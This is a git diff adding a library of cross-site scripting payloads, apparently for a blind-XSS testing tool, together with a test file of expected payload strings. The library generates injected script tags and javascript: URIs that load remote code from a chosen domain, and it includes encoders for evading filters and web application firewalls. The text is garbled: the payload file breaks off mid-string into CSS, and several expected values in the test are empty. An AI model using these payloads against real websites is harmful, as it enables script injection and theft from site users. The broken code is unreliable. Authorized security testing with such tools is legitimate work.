diff --git a/front-end/src/libs/payloads.js b/front-end/src/libs/payloads.js new file mode 100644 index 0000000..a4e75e3 --- /dev/null +++ b/front-end/src/libs/payloads.js @@ -0,0 +1,372 @@ +const utils = require('./utils.js'); + +const html_encode = utils.html_encode; +const urlsafe_base64_encode = utils.urlsafe_base64_encode; + +const CATEGORY_ATTRIBUTE_BREAKOUT = 'attribute_breakout'; +const CATEGORY_URI_BASED = 'uri_based'; +const CATEGORY_WAF_BYPASS = 'waf_bypass'; +const CATEGORY_DOM_BASED = 'dom_based'; + +function js_attrib(base_domain) { + return 'var a=document.createElement("script");a.src="https://' + base_domain + '";document.body.appendChild(a);'; +} + +function b64_js(base_domain) { + return html_encode(urlsafe_base64_encode(js_attrib(base_domain))); +} + +function case_mix(value) { + return value.split('').map((character, index) => { + return index % 2 === 0 ? character.toLowerCase() : character.toUpperCase(); + }).join(''); +} + +function entity_encode(value) { + return value.split('').map((character) => { + return '&#' + character.charCodeAt(0) + ';'; + }).join(''); +} + +function from_char_code(js) { + return 'eval(String.fromCharCode(' + js.split('').map((character) => { + return character.charCodeAt(0); + }).join(',') + '))'; +} + +const categories = [ + { id: CATEGORY_ATTRIBUTE_BREAKOUT, label: 'Attribute Breakouts' }, + { id: CATEGORY_URI_BASED, label: 'URI / Link-Based' }, + { id: CATEGORY_WAF_BYPASS, label: 'WAF & Filter Bypass' }, + { id: CATEGORY_DOM_BASED, label: 'DOM-Based' }, + { id: 'all', label: 'All' }, +]; + +const payloads = [ + { + 'id': 'basic_script', + 'category': CATEGORY_ATTRIBUTE_BREAKOUT, + 'title': 'Basic <script> Tag Payload', + 'description': 'Classic payload', + 'func': function(base_domain) { + return "\"> \ No newline at end of file +.payload-note { + color: #d3d3d7; + font-size: 0.9rem; +} +.payload-note-label { + font-weight: bold; +} + diff --git a/front-end/test/payloads.test.js b/front-end/test/payloads.test.js new file mode 100644 index 0000000..01d1ef6 --- /dev/null +++ b/front-end/test/payloads.test.js @@ -0,0 +1,137 @@ +const payloads_module = require('../src/libs/payloads.js'); + +const DOMAIN = 'xss.test'; +const { payloads, categories, helpers } = payloads_module; + +const ALLOWED_CATEGORY_IDS = ['attribute_breakout', 'uri_based', 'waf_bypass', 'dom_based']; + +let passed = 0; + +function check(name, condition) { + if (!condition) { + throw new Error('FAILED: ' + name); + } + passed += 1; + console.log('ok - ' + name); +} + +// Module shape +check('module exports payloads array', Array.isArray(payloads)); +check('module exports categories array', Array.isArray(categories)); +check('module exports helpers', typeof helpers === 'object' && helpers !== null); + +// Categories +check('categories have expected order', categories.map((c) => c.id).join(',') === + 'attribute_breakout,uri_based,waf_bypass,dom_based,all'); +categories.forEach((category) => { + check('category ' + category.id + ' has label', typeof category.label === 'string' && category.label.length > 0); +}); + +// Every payload entry is complete +payloads.forEach((payload) => { + const label = payload.id; + check(label + ' has id', typeof payload.id === 'string' && payload.id.length > 0); + check(label + ' has valid category', ALLOWED_CATEGORY_IDS.indexOf(payload.category) !== -1); + check(label + ' has title', typeof payload.title === 'string' && payload.title.length > 0); + check(label + ' has description', typeof payload.description === 'string' && payload.description.length > 0); + check(label + ' func returns string', typeof payload.func === 'function' && typeof payload.func(DOMAIN) === 'string'); + check(label + ' has example', typeof payload.example === 'string' && payload.example.length > 0); + check(label + ' has caveats', typeof payload.caveats === 'string' && payload.caveats.length > 0); + check(label + ' has when', typeof payload.when === 'string' && payload.when.length > 0); +}); + +// Existing payloads preserved (golden values) +const by_id = {}; +payloads.forEach((p) => { by_id[p.id] = p; }); + +check('basic_script golden', by_id.basic_script.func(DOMAIN) === + '">'); +check('jquery_chainload golden', by_id.jquery_chainload.func(DOMAIN) === + ''); +check('xmlhttprequest_load golden', by_id.xmlhttprequest_load.func(DOMAIN) === + ''); +check('javascript_uri golden', by_id.javascript_uri.func(DOMAIN) === + "javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'https://xss.test\\';document.body.appendChild(a)')"); +check('input_onfocus golden', by_id.input_onfocus.func(DOMAIN) === + '">'); +check('image_onerror golden', by_id.image_onerror.func(DOMAIN) === + '">'); +check('video_source golden', by_id.video_source.func(DOMAIN) === + '">